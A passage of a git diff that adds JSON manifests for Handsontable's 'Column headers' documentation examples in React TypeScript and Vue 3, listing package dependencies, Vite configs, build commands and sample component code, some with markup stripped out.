    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-header/react/example1.tsx","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-header","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example2.tsx.json new file mode 100644 index 00000000..e6946850 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column headers · Header labels as an array · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-header/react/example2.tsx","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example2","exampleTitle":"Header labels as an array","docPermalink":"/column-header","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example3.tsx.json new file mode 100644 index 00000000..69f1d7fa --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column headers · Header labels as a function · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n {\n return `Col ${index + 1}`;\n }}\n rowHeaders={true}\n height=\"auto\"\n autoWrapRow={true}\n autoWrapCol={true}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-header/react/example3.tsx","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example3","exampleTitle":"Header labels as a function","docPermalink":"/column-header","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example4.tsx.json new file mode 100644 index 00000000..34adf89f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example4.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column headers · Customize column headers · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable, HotColumn } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n \n \n \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-header/react/example4.tsx","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example4","exampleTitle":"Customize column headers","docPermalink":"/column-header","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example5.tsx.json new file mode 100644 index 00000000..7cc66f69 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example5.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column headers · Customize column headers (2) · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example5\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable, HotColumn } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n \n \n \n \n \n );\n};\n\nexport default ExampleComponent;","/src/styles.css":".bold-text {\n font-weight: bold;\n}\n\n.italic-text {\n font-style: italic;\n}"},"docsPath":"guides/columns/column-header/react/example5.tsx","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example5","exampleTitle":"Customize column headers (2)","docPermalink":"/column-header","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example6.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example6.tsx.json new file mode 100644 index 00000000..de93e34d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example6.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column headers · Header labels in the columns option · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example6\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-header/react/example6.tsx","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example6","exampleTitle":"Header labels in the columns option","docPermalink":"/column-header","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example7.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example7.tsx.json new file mode 100644 index 00000000..87379ae3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example7.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column headers · Column header height · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example7\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-header/react/example7.tsx","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example7","exampleTitle":"Column header height","docPermalink":"/column-header","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example1.vue.json new file mode 100644 index 00000000..4508a4bc --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column headers · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-header/vue/example1.vue","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-header","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example2.vue.json new file mode 100644 index 00000000..ba1c6815 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column headers · Header labels as an array · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-header/vue/example2.vue","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example2","exampleTitle":"Header labels as an array","docPermalink":"/column-header","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example3.vue.json new file mode 100644 index 00000000..300229a5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column headers · Header labels as a function · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-header/vue/example3.vue","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example3","exampleTitle":"Header labels as a function","docPermalink":"/column-header","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example4.vue.json new file mode 100644 index 00000000..f77e5d3d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example4.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column headers · Customize column headers · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-header/vue/example4.vue","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example4","exampleTitle":"Customize column headers","docPermalink":"/column-header","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example5.vue.json new file mode 100644 index 00000000..ee22bbf1 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example5.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column headers · Customize column headers (2) · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example5\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/columns/column-header/vue/example5.vue","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example5","exampleTitle":"Customize column headers (2)","docPermalink":"/column-header","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example6.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example6.vue.json new file mode 100644 index 00000000..08752d21 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example6.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column headers · Header labels in the columns option · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example6\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-header/vue/example6.vue","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example6","exampleTitle":"Header labels in the columns option","docPermalink":"/column-header","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example7.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example7.vue.json new file mode 100644 index 00000000..e36ffd3f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__vue__example7.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column headers · Column header height · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example7\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-header/vue/example7.vue","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example7","exampleTitle":"Column header height","docPermalink":"/column-header","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__angular__example1.ts.json new file mode 100644 index 00000000..d3573c2d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column hiding · Standard example · 